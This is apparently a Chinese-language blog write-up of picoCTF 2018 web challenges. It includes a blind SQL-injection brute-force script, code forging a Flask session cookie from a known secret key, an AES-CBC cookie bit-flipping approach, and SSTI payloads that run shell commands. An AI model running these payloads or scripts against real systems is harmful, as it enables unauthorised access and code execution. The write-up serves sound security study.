picoCTF 2018 – webExploitation 下

題目: Secure Logon

http://2018shell.picoctf.com:43731/

code如下

from flask import Flask, render_template, request, url_for, redirect, make_response, flash
import json
from hashlib import md5
from base64 import b64decode
from base64 import b64encode
from Crypto import Random
from Crypto.Cipher import AES
app = Flask(__name__)
app.secret_key = 'seed removed'
flag_value = 'flag removed'
BLOCK_SIZE = 16  # Bytes
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
                chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]

@app.route("/")
def main():
    return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.form['user'] == 'admin':
        message = "I'm sorry the admin password is super secure. You're not getting in that way."
        category = 'danger'
        flash(message, category)
        return render_template('index.html')
    resp = make_response(redirect("/flag"))
    cookie = {}
    cookie['password'] = request.form['password']
    cookie['username'] = request.form['user']
    cookie['admin'] = 0
    print(cookie)
    cookie_data = json.dumps(cookie, sort_keys=True)
    encrypted = AESCipher(app.secret_key).encrypt(cookie_data)
    print(encrypted)
    resp.set_cookie('cookie', encrypted)
    return resp
@app.route('/logout')
def logout():
    resp = make_response(redirect("/"))
    resp.set_cookie('cookie', '', expires=0)
    return resp
@app.route('/flag', methods=['GET'])
def flag():
  try:
      encrypted = request.cookies['cookie']
  except KeyError:
      flash("Error: Please log-in again.")
      return redirect(url_for('main'))
  data = AESCipher(app.secret_key).decrypt(encrypted)
  data = json.loads(data)
  try:
     check = data['admin']
  except KeyError:
     check = 0
  if check == 1:
      return render_template('flag.html', value=flag_value)
  flash("Success: You logged in! Not sure you'll be able to see the flag though.", "success")
  return render_template('not-flag.html', cookie=data)
class AESCipher:
    """
    Usage:
        c = AESCipher('password').encrypt('message')
        m = AESCipher('password').decrypt(c)
    Tested under Python 3 and PyCrypto 2.6.1.
    """
    def __init__(self, key):
        self.key = md5(key.encode('utf8')).hexdigest()
    def encrypt(self, raw):
        raw = pad(raw)
        iv = Random.new().read(AES.block_size)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return b64encode(iv + cipher.encrypt(raw))
    def decrypt(self, enc):
        enc = b64decode(enc)
        iv = enc[:16]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return unpad(cipher.decrypt(enc[16:])).decode('utf8')
if __name__ == "__main__":
    app.run()

先隨便輸入一組帳密
username跟password

回傳結果如下

如果登入帳號admin隨便輸入密碼0000

得到結果如下

得到的結果可以從code內容推得

根據code下段內容

  try:
     check = data['admin']
  except KeyError:
     check = 0
  if check == 1:
      return render_template('flag.html', value=flag_value)
  flash("Success: You logged in! Not sure you'll be able to see the flag though.", "success")
  return render_template('not-flag.html', cookie=data)

看起來首先我們要讓check = data[‘admin’]
接著並且讓check == 1 才可以得到flag

所以重點在於我們輸入內容之後
畫面顯示Cookie的’admin’: 0
要變成’admin’:1

那我們查看到cookie當然不是明文

這邊cookie使用AES的CBC模式加解密


cookie傳回內容是這樣
(似乎每次都不一樣…)

:::info
中國人分享的write-up
https://xz.aliyun.com/t/2920
:::

python 中 ^ 是 XOR 的意思

參考這篇
https://zomry1.github.io/secured-logon/

使用python2才可以
這邊卡很久問題都在python3
做base64 encode之間出問題decode

這題是利用修改密文
因為解密的時候
是利用IV值與前面一塊的密文去做XOR
來解密下一塊的密文
所以如果我們修改了前面一塊的密文
就可以讓解密出來的明文內容改變

題目: Help Me Reset 2

解法一

到頁面
http://2018shell.picoctf.com:60612/profile

就直接看到答案了XD

下個方法
翻找每個頁面跟原始碼後
發現原始碼中有寫人名

在重設密碼的頁面輸入bucher
的確成功
不過要我們回答問題
觀察原始碼與重新整理頁面可以發現
只有幾個問題
What is you favorite color?
What is you favorite food?
What is you favorite hero?
What is you favorite carmake?

還發現有多了一個session cookie

這時候應該是要想辦法猜出答案
或是解出cookie內容
可是我沒解出來… 也猜不到答案XD

所以只有解法一成功

題目: A simple Qusetion

試試看XSS
結果彈出以下內容

可以確定是要用SQL才對

試試常用的腳本

顯示你接近了
試了不少方法都無法直接成功

發現有提示的code

<?php
  include "config.php";
  ini_set('error_reporting', E_ALL);
  ini_set('display_errors', 'On');
  $answer = $_POST["answer"];
  $debug = $_POST["debug"];
  $query = "SELECT * FROM answers WHERE answer='$answer'";
  echo "<pre>";
  echo "SQL query: ", htmlspecialchars($query), "\n";
  echo "</pre>";
?>
<?php
  $con = new SQLite3($database_file);
  $result = $con->query($query);
  $row = $result->fetchArray();
  if($answer == $CANARY)  {
    echo "<h1>Perfect!</h1>";
    echo "<p>Your flag is: $FLAG</p>";
  }
  elseif ($row) {
    echo "<h1>You are so close.</h1>";
  } else {
    echo "<h1>Wrong.</h1>";
  }
?>

所以重點是

if($answer == $CANARY)

接著就是用猜的

了解 UNION跟LIKE兩個語法

https://www.fooish.com/sql/union.html
https://www.fooish.com/sql/like.html

但是LIKE是不區分大小寫
可以用GLOB會區分大小寫

不過也要注意
用LIKE 是用百分號%代表0個1個或是多個數字字符
而下底線_則是表示一個單一的數字或字符
用GLOB 是用星號*代表0個1個或是多個數字字符
而問號?則是表示一個單一的數字或字符

輸入

' UNION SELECT * FROM answers WHERE answer LIKE '41%

如果正確就會顯示so close 錯誤就會顯示wrong
利用這樣的盲注方法去猜測得到全部內容

必然一定要寫個code才行

自己寫的python腳本

import requests
from bs4 import BeautifulSoup
url = "http://2018shell.picoctf.com:32635/answer2.php"
# check
#r = requests.get(url)
#print(r.status_code)
known=""
while True:
    for v in range(48,123):
        if v != 42 and v != 63: # Removes '*' and '?'
            parameter = chr(v)  
            data = {'answer':"' UNION SELECT * FROM answers WHERE answer GLOB '{}{}*".format(known,parameter)}
            r = requests.post(url, data=data)
            soup = BeautifulSoup(r.text, 'lxml')
            tag = soup.find('h1').text
            print(r.status_code)
            print(tag)
            if tag == "You are so close.":
                known += parameter
                print(known)
                break

用requsets去送requset跟資料
用bs4抓回應的內容

中間有發生問題的地方有兩個
第一個是忽略了 * 跟 ?
要注意這兩個必須要拿掉

再來是不知道該怎麼設定停止條件…
因為SQL語法的設定 * 是後面沒有相符合的
也會成功
也就是說 如果今天答案是123
可是查詢
SELECT * FROM answers WHERE answer GLOB 123*
它也會回應 you so close
(我是這樣想的 不過好像不是這樣 他還是會丟wrong XDDDDD)
所以乾脆用while true讓他一直跑

跑得過程會像這樣

其實看起來是有點煩
可以不要讓每次的status code跟結果輸出

print(r.status_code)跟print(tag)
註解掉就好
這邊主要是debug的時候寫進來的

最後得到結果 得到flag

題目: Flaskcards Skeleton Key

有給你一組key 是flask的secret key
a7a8342f9b41fcb062b13dd1167785f8

要你利用admin登入

Python的Flask框架

先訪問admin頁面
得到了一個session cookie
session:eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiZDZjN2FkYTY4YWEzZGIyYjE5MzMyNjc5MTRlYTA4MDkxNTc4NjlmZiJ9.EcetgA.4v_8R0mtJiT-sL6MOpZ3OjBsJbU

好 所以邏輯是這樣的
因為我們有了secret key
並且知道是利用flask框架
我們也有了session
應該可以利用python將session內容解密

因為網路上已經有解密的function
直接拿來用
https://gist.github.com/babldev/502364a3f7c9bafaa6db

def decode_flask_cookie(secret_key, cookie_str):
    import hashlib
    from itsdangerous import URLSafeTimedSerializer
    from flask.sessions import TaggedJSONSerializer
    salt = 'cookie-session'
    serializer = TaggedJSONSerializer()
    signer_kwargs = {
        'key_derivation': 'hmac',
        'digest_method': hashlib.sha1
    }
    s = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs)
    return s.loads(cookie_str)

其他參考
https://www.jishuwen.com/d/24r2/zh-tw

解密出來的內容
其實直接可以assign成為dict

發現網路上找到的沒有實作加密
不過找了一下其實只有一個地方有差
解密是用loads 加密是用dump

解出來的內容只有csrf_token跟fresh看起來都沒甚麼用

隨便註冊一個帳號

接著再看看session內容
.eJwtj82KAzEMg98l5znYyTh2-jKD_8KWwi7MtKfSd28OexJCfEh6l2Oeef2U2_N85VaOe5RbqQotUX1Pszm7DICpvUUF8JiirMkQ3bvPKpbC0ZhNx7JIudIkoibVAMWmC4bCbj52okTCpVw9rLcBLpUgA5OE0TO5dq1lK36d83j-PfJ37ZFpkJZtoHJlN7TwALQ9eIzVFKads8viXlee_yd6-XwBrEZAlg.Ecezdg.QV192ddWLm0E-L2SGfM1MnXqT2U

解密後
{u’csrf_token’: u’8fb0ebe391a727cb1bdcd01b4d799553dba67e68′, u’_fresh’: True, u’user_id’: u’26’, u’_id’: u’2a03e1ac4ebbff68900fa63d200cdf8a7ae70d6c6cf28be87d377ba9cf215e7aee555382b018bfc81da04bc9455e15194572cdb6390c8250ed1e5871cee726a2′}

發現多了一個user_id
嘗試看看把user_id改成0或是1
再進行連線看看

結果改成1就成功了

拿到flag

Your flag is: picoCTF{1_id_to_rule_them_all_92303c39}

完整code

# load
def decode_flask_cookie(secret_key, cookie_str):
    import hashlib
    from itsdangerous import URLSafeTimedSerializer
    from flask.sessions import TaggedJSONSerializer
    salt = 'cookie-session'
    serializer = TaggedJSONSerializer()
    signer_kwargs = {
        'key_derivation': 'hmac',
        'digest_method': hashlib.sha1
    }
    s = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs)
    return s.loads(cookie_str)
# dump
def encode_flask_cookie(secret_key, cookie):
    import hashlib
    from itsdangerous import URLSafeTimedSerializer
    from flask.sessions import TaggedJSONSerializer
    salt = 'cookie-session'
    serializer = TaggedJSONSerializer()
    signer_kwargs = {
        'key_derivation': 'hmac',
        'digest_method': hashlib.sha1
    }
    s = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs)
    return s.dumps(cookie)
session_cookie = '.eJwtj82KAzEMg98l5znYyTh2-jKD_8KWwi7MtKfSd28OexJCfEh6l2Oeef2U2_N85VaOe5RbqQotUX1Pszm7DICpvUUF8JiirMkQ3bvPKpbC0ZhNx7JIudIkoibVAMWmC4bCbj52okTCpVw9rLcBLpUgA5OE0TO5dq1lK36d83j-PfJ37ZFpkJZtoHJlN7TwALQ9eIzVFKads8viXlee_yd6-XwBrEZAlg.Ecezdg.QV192ddWLm0E-L2SGfM1MnXqT2U'
print(decode_flask_cookie('a7a8342f9b41fcb062b13dd1167785f8', session_cookie))
print("-----")
cookie_val = decode_flask_cookie('a7a8342f9b41fcb062b13dd1167785f8', session_cookie)
print(cookie_val)
print(type(cookie_val))
print(cookie_val['csrf_token'])
print("-----")
new_cookie = dict(cookie_val)
new_cookie['user_id'] = '1'
print(encode_flask_cookie('a7a8342f9b41fcb062b13dd1167785f8', new_cookie))

題目: LambDash 3

連線http://2018shell.picoctf.com:59404/

無法連上網站

先看看甚麼是lambda calculus

https://redpwn.net/writeups/picoctf2018/lambdash3/

題目: Flaskcards and Freedom

試試看利用之前的SSTI
RCE payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

沒有成功

嘗試其他指令

{{url_for.__globals__.os.__dict__.popen('ls').read()}}

發現可以成功執行ls
看起來似乎是利用pytohn的module

其他write up
https://github.com/Dvd848/CTFs/blob/master/2018_picoCTF/Flaskcards%20and%20Freedom.md

直接把注入的payload
改成cat flag就看到答案了

picoCTF{R_C_E_wont_let_me_be_33c4aa61}

發佈留言